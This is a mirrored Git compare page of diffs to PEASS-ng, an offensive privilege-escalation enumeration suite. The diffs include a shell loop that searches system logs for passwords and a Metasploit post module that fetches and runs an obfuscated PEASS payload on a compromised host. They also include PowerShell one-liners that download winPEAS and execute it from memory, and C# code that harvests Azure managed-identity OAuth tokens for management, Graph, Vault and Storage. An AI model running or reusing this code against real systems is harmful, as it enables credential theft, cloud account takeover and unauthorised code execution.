mirror of
https://github.com/peass-ng/PEASS-ng.git
synced 2025-12-31 07:02:32 -08:00
Compare commits
16 Commits
20250216-f
...
20250501-c
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
97ae1d2e3b | ||
|
|
3b6f0a5bdc | ||
|
|
7008652029 | ||
|
|
e5239f8c58 | ||
|
|
b2c03246d2 | ||
|
|
f0686d491b | ||
|
|
99e8eb7813 | ||
|
|
46193aa0d5 | ||
|
|
62022abc47 | ||
|
|
d63e737b63 | ||
|
|
0b041ad694 | ||
|
|
8ea67f3cc2 | ||
|
|
ce5cb1ad9c | ||
|
|
30586c064f | ||
|
|
b82fc9ac39 | ||
|
|
54818756e4 |
@@ -15,6 +15,6 @@
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching passwords inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
|
||||
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -H -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -346,7 +346,7 @@ print_support () {
|
||||
${GREEN}/---------------------------------------------------------------------------------\\
|
||||
| ${BLUE}Do you like PEASS?${GREEN} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
| ${YELLOW}Learn Cloud Hacking${GREEN} : ${RED}https://training.hacktricks.xyz ${GREEN} |
|
||||
| ${YELLOW}Learn Cloud Hacking${GREEN} : ${RED}https://training.hacktricks.xyz ${GREEN} |
|
||||
| ${YELLOW}Follow on Twitter${GREEN} : ${RED}@hacktricks_live${GREEN} |
|
||||
| ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -37,9 +37,10 @@ Basic options:
|
||||
---- --------------- -------- -----------
|
||||
PARAMETERS no Parameters to pass to the script
|
||||
PASSWORD um1xipfws17nkw1bi1ma3bh7tzt4mo3e no Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used
|
||||
.
|
||||
PEASS_URL https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/wi yes Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/peass-ng/PEASS-ng
|
||||
nPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe /master/linPEAS/linpeas.sh
|
||||
|
||||
WINPEASS true yes Use PEASS for Windows or PEASS for linux. Default is windows change to false for linux.
|
||||
CUSTOM_URL no Path to the PEASS script. Accepted: http(s):// URL or absolute local path.
|
||||
|
||||
SESSION yes The session to run this module on.
|
||||
SRVHOST no Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.
|
||||
SRVPORT 443 no Port to download the PEASS script from using http(s) (only used if SRVHOST)
|
||||
|
||||
@@ -37,7 +37,8 @@ class MetasploitModule < Msf::Post
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"]),
|
||||
OptString.new('WINPEASS', [true, 'Which PEASS script to use. Use True for WinPeass and false for LinPEASS', true]),
|
||||
OptString.new('CUSTOM_URL', [false, 'URL to download the PEASS script from (if not using the default one). Accepts http(s) or absolute path. Overrides the WINPEASS variable', '']),
|
||||
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),
|
||||
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
|
||||
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),
|
||||
@@ -237,8 +238,14 @@ class MetasploitModule < Msf::Post
|
||||
def load_peass
|
||||
# Load the PEASS script from a local file or from Internet
|
||||
peass_script = ""
|
||||
url_peass = datastore['PEASS_URL']
|
||||
|
||||
url_peass = ""
|
||||
# If no URL is set, use the default one
|
||||
if datastore['CUSTOM_URL'] != ""
|
||||
url_peass = datastore['CUSTOM_URL']
|
||||
else
|
||||
url_peass = datastore['WINPEASS'] ? "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" : "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
|
||||
end
|
||||
# If URL is set, check if it is a valid URL or local file
|
||||
if url_peass.include?("http://") || url_peass.include?("https://")
|
||||
target = URI.parse url_peass
|
||||
raise 'Invalid URL' unless target.scheme =~ /https?/
|
||||
|
||||
0
parsers/__init__.py
Normal file
0
parsers/__init__.py
Normal file
@@ -144,7 +144,12 @@ def parse_line(line: str):
|
||||
})
|
||||
|
||||
|
||||
def main():
|
||||
def parse_peass(outputpath: str, jsonpath: str = ""):
|
||||
global OUTPUT_PATH, JSON_PATH
|
||||
|
||||
OUTPUT_PATH = outputpath
|
||||
JSON_PATH = jsonpath
|
||||
|
||||
for line in open(OUTPUT_PATH, 'r', encoding="utf8").readlines():
|
||||
line = line.strip()
|
||||
if not line or not clean_colors(line): #Remove empty lines or lines just with colors hex
|
||||
@@ -152,17 +157,21 @@ def main():
|
||||
|
||||
parse_line(line)
|
||||
|
||||
with open(JSON_PATH, "w") as f:
|
||||
json.dump(FINAL_JSON, f)
|
||||
if JSON_PATH:
|
||||
with open(JSON_PATH, "w") as f:
|
||||
json.dump(FINAL_JSON, f)
|
||||
|
||||
else:
|
||||
return FINAL_JSON
|
||||
|
||||
|
||||
# Start execution
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
OUTPUT_PATH = sys.argv[1]
|
||||
JSON_PATH = sys.argv[2]
|
||||
outputpath = sys.argv[1]
|
||||
jsonpath = sys.argv[2]
|
||||
parse_peass(outputpath, jsonpath)
|
||||
except IndexError as err:
|
||||
print("Error: Please pass the peas.out file and the path to save the json\npeas2json.py <output_file> <json_file.json>")
|
||||
sys.exit(1)
|
||||
|
||||
main()
|
||||
|
||||
@@ -22,10 +22,15 @@ $url = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany
|
||||
# One liner to download and execute winPEASany from memory in a PS shell
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
|
||||
|
||||
# Before cmd in 3 lines
|
||||
# The cprevios cmd in 2 lines
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
# Download to disk and execute (super noisy)
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.DownloadFile("https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe", "winPEASany_ofs.exe")
|
||||
.\winPEASany_ofs.exe
|
||||
|
||||
# Load from disk in memory and execute:
|
||||
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe")));
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
@@ -594,7 +594,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking KrbRelayUp");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#krbrelayupp");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#krbrelayup");
|
||||
|
||||
if (Checks.CurrentAdDomainName.Length > 0)
|
||||
{
|
||||
|
||||
@@ -184,9 +184,17 @@ namespace winPEAS.Helpers
|
||||
//////////////////////
|
||||
public static List<string> ListFolder(String path)
|
||||
{
|
||||
string root = @Path.GetPathRoot(Environment.SystemDirectory) + path;
|
||||
var dirs = from dir in Directory.EnumerateDirectories(root) select dir;
|
||||
return dirs.ToList();
|
||||
try
|
||||
{
|
||||
string root = @Path.GetPathRoot(Environment.SystemDirectory) + path;
|
||||
var dirs = from dir in Directory.EnumerateDirectories(root) select dir;
|
||||
return dirs.ToList();
|
||||
}
|
||||
catch(Exception ex)
|
||||
{
|
||||
//Path can't be accessed
|
||||
return new List<string>();
|
||||
}
|
||||
}
|
||||
|
||||
internal static byte[] CombineArrays(byte[] first, byte[] second)
|
||||
|
||||
@@ -1,20 +1,53 @@
|
||||
using System.Collections.Generic;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace winPEAS.Info.CloudInfo
|
||||
{
|
||||
internal class AzureInfo : CloudInfoBase
|
||||
{
|
||||
public override string Name => "Azure VM";
|
||||
public override bool IsCloud => Directory.Exists(WINDOWS_AZURE_FOLDER);
|
||||
|
||||
// The Name property now differentiates between an Azure VM and an Azure Container.
|
||||
public override string Name
|
||||
{
|
||||
get
|
||||
{
|
||||
if (IsContainer())
|
||||
return "Azure Container"; // **Container environment detected**
|
||||
return "Azure VM"; // **VM environment detected**
|
||||
}
|
||||
}
|
||||
|
||||
// IsCloud now returns true if either the Azure VM folder exists or container env vars are set.
|
||||
public override bool IsCloud => Directory.Exists(WINDOWS_AZURE_FOLDER) || IsContainer();
|
||||
|
||||
private Dictionary<string, List<EndpointData>> _endpointData = null;
|
||||
|
||||
const string WINDOWS_AZURE_FOLDER = "c:\\windowsazure";
|
||||
const string AZURE_BASE_URL = "http://169.254.169.254/metadata/";
|
||||
const string API_VERSION = "2021-12-13";
|
||||
const string CONTAINER_API_VERSION = "2019-08-01";
|
||||
|
||||
public static bool DoesProcessExist(string processName)
|
||||
{
|
||||
// Return false if the process name is null or empty
|
||||
if (string.IsNullOrEmpty(processName))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Retrieve all processes matching the specified name
|
||||
Process[] processes = Process.GetProcessesByName(processName);
|
||||
return processes.Length > 0;
|
||||
}
|
||||
|
||||
// New helper method to detect if running inside an Azure container
|
||||
private bool IsContainer()
|
||||
{
|
||||
return !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("IDENTITY_ENDPOINT")) ||
|
||||
!string.IsNullOrEmpty(Environment.GetEnvironmentVariable("MSI_ENDPOINT"));
|
||||
}
|
||||
|
||||
public override Dictionary<string, List<EndpointData>> EndpointDataList()
|
||||
{
|
||||
@@ -25,28 +58,38 @@ namespace winPEAS.Info.CloudInfo
|
||||
|
||||
try
|
||||
{
|
||||
string result;
|
||||
string result;
|
||||
List<Tuple<string, string, bool>> endpoints;
|
||||
|
||||
List<Tuple<string, string, bool>> endpoints = new List<Tuple<string, string, bool>>()
|
||||
if (IsContainer())
|
||||
{
|
||||
new Tuple<string, string, bool>("Instance Details", $"instance?api-version={API_VERSION}", false),
|
||||
new Tuple<string, string, bool>("Load Balancer details", $"loadbalancer?api-version={API_VERSION}", false),
|
||||
new Tuple<string, string, bool>("Management token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/", true),
|
||||
new Tuple<string, string, bool>("Graph token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://graph.microsoft.com/", true),
|
||||
new Tuple<string, string, bool>("Vault token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://vault.azure.net/", true),
|
||||
new Tuple<string, string, bool>("Storage token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://storage.azure.com/", true)
|
||||
};
|
||||
|
||||
if (IsAvailable)
|
||||
{
|
||||
|
||||
|
||||
// **Running in Azure Container: use the container endpoint and add the "Secret" header if available**
|
||||
string containerBaseUrl = Environment.GetEnvironmentVariable("MSI_ENDPOINT") ??
|
||||
Environment.GetEnvironmentVariable("IDENTITY_ENDPOINT");
|
||||
endpoints = new List<Tuple<string, string, bool>>()
|
||||
{
|
||||
new Tuple<string, string, bool>("Management token", $"?api-version={CONTAINER_API_VERSION}&resource=https://management.azure.com/", true),
|
||||
new Tuple<string, string, bool>("Graph token", $"?api-version={CONTAINER_API_VERSION}&resource=https://graph.microsoft.com/", true),
|
||||
new Tuple<string, string, bool>("Vault token", $"?api-version={CONTAINER_API_VERSION}&resource=https://vault.azure.net/", true),
|
||||
new Tuple<string, string, bool>("Storage token", $"?api-version={CONTAINER_API_VERSION}&resource=https://storage.azure.com/", true)
|
||||
};
|
||||
|
||||
foreach (var tuple in endpoints)
|
||||
{
|
||||
string url = $"{AZURE_BASE_URL}{tuple.Item2}";
|
||||
|
||||
result = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection() { { "Metadata", "true" } });
|
||||
|
||||
// Ensure proper URL formatting.
|
||||
string url = $"{containerBaseUrl}{(containerBaseUrl.EndsWith("/") ? "" : "/")}{tuple.Item2}";
|
||||
var headers = new WebHeaderCollection();
|
||||
string msiSecret = Environment.GetEnvironmentVariable("MSI_SECRET");
|
||||
if (!string.IsNullOrEmpty(msiSecret))
|
||||
{
|
||||
headers.Add("Secret", msiSecret);
|
||||
}
|
||||
string identitySecret = Environment.GetEnvironmentVariable("IDENTITY_HEADER");
|
||||
if (!string.IsNullOrEmpty(identitySecret))
|
||||
{
|
||||
headers.Add("X-IDENTITY-HEADER", identitySecret);
|
||||
}
|
||||
result = CreateMetadataAPIRequest(url, "GET", headers);
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = tuple.Item1,
|
||||
@@ -54,12 +97,36 @@ namespace winPEAS.Info.CloudInfo
|
||||
IsAttackVector = tuple.Item3
|
||||
});
|
||||
}
|
||||
}
|
||||
else if (Directory.Exists(WINDOWS_AZURE_FOLDER))
|
||||
{
|
||||
// **Running in Azure VM: use the standard metadata endpoint with "Metadata: true" header**
|
||||
endpoints = new List<Tuple<string, string, bool>>()
|
||||
{
|
||||
new Tuple<string, string, bool>("Instance Details", $"instance?api-version={API_VERSION}", false),
|
||||
new Tuple<string, string, bool>("Load Balancer details", $"loadbalancer?api-version={API_VERSION}", false),
|
||||
new Tuple<string, string, bool>("Management token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/", true),
|
||||
new Tuple<string, string, bool>("Graph token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://graph.microsoft.com/", true),
|
||||
new Tuple<string, string, bool>("Vault token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://vault.azure.net/", true),
|
||||
new Tuple<string, string, bool>("Storage token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://storage.azure.com/", true)
|
||||
};
|
||||
|
||||
|
||||
foreach (var tuple in endpoints)
|
||||
{
|
||||
string url = $"{AZURE_BASE_URL}{tuple.Item2}";
|
||||
result = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection() { { "Metadata", "true" } });
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = tuple.Item1,
|
||||
Data = result,
|
||||
IsAttackVector = tuple.Item3
|
||||
});
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (var endpoint in endpoints)
|
||||
// If neither container nor VM, endpoints remain unset.
|
||||
foreach (var endpoint in new List<Tuple<string, string, bool>>())
|
||||
{
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
@@ -70,10 +137,27 @@ namespace winPEAS.Info.CloudInfo
|
||||
}
|
||||
}
|
||||
|
||||
string hwsRun = DoesProcessExist("HybridWorkerService") ? "Yes" : "No";
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "HybridWorkerService.exe Running",
|
||||
Data = hwsRun,
|
||||
IsAttackVector = true
|
||||
});
|
||||
|
||||
string OSRun = DoesProcessExist("Orchestrator.Sandbox") ? "Yes" : "No";
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "Orchestrator.Sandbox.exe Running",
|
||||
Data = OSRun,
|
||||
IsAttackVector = true
|
||||
});
|
||||
|
||||
_endpointData.Add("General", _endpointDataList);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// **Exception handling (e.g., logging) can be added here**
|
||||
}
|
||||
}
|
||||
|
||||
@@ -82,7 +166,31 @@ namespace winPEAS.Info.CloudInfo
|
||||
|
||||
public override bool TestConnection()
|
||||
{
|
||||
return CreateMetadataAPIRequest(AZURE_BASE_URL, "GET") != null;
|
||||
}
|
||||
if (IsContainer())
|
||||
{
|
||||
// **Test connection for Azure Container**
|
||||
string containerBaseUrl = Environment.GetEnvironmentVariable("MSI_ENDPOINT") ??
|
||||
Environment.GetEnvironmentVariable("IDENTITY_ENDPOINT");
|
||||
if (string.IsNullOrEmpty(containerBaseUrl))
|
||||
return false;
|
||||
var headers = new WebHeaderCollection();
|
||||
string msiSecret = Environment.GetEnvironmentVariable("MSI_SECRET");
|
||||
if (!string.IsNullOrEmpty(msiSecret))
|
||||
{
|
||||
headers.Add("Secret", msiSecret);
|
||||
}
|
||||
string identitySecret = Environment.GetEnvironmentVariable("IDENTITY_HEADER");
|
||||
if (!string.IsNullOrEmpty(identitySecret))
|
||||
{
|
||||
headers.Add("X-IDENTITY-HEADER", identitySecret);
|
||||
}
|
||||
return CreateMetadataAPIRequest(containerBaseUrl, "GET", headers) != null;
|
||||
}
|
||||
else
|
||||
{
|
||||
// **Test connection for Azure VM**
|
||||
return CreateMetadataAPIRequest(AZURE_BASE_URL, "GET", new WebHeaderCollection() { { "Metadata", "true" } }) != null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user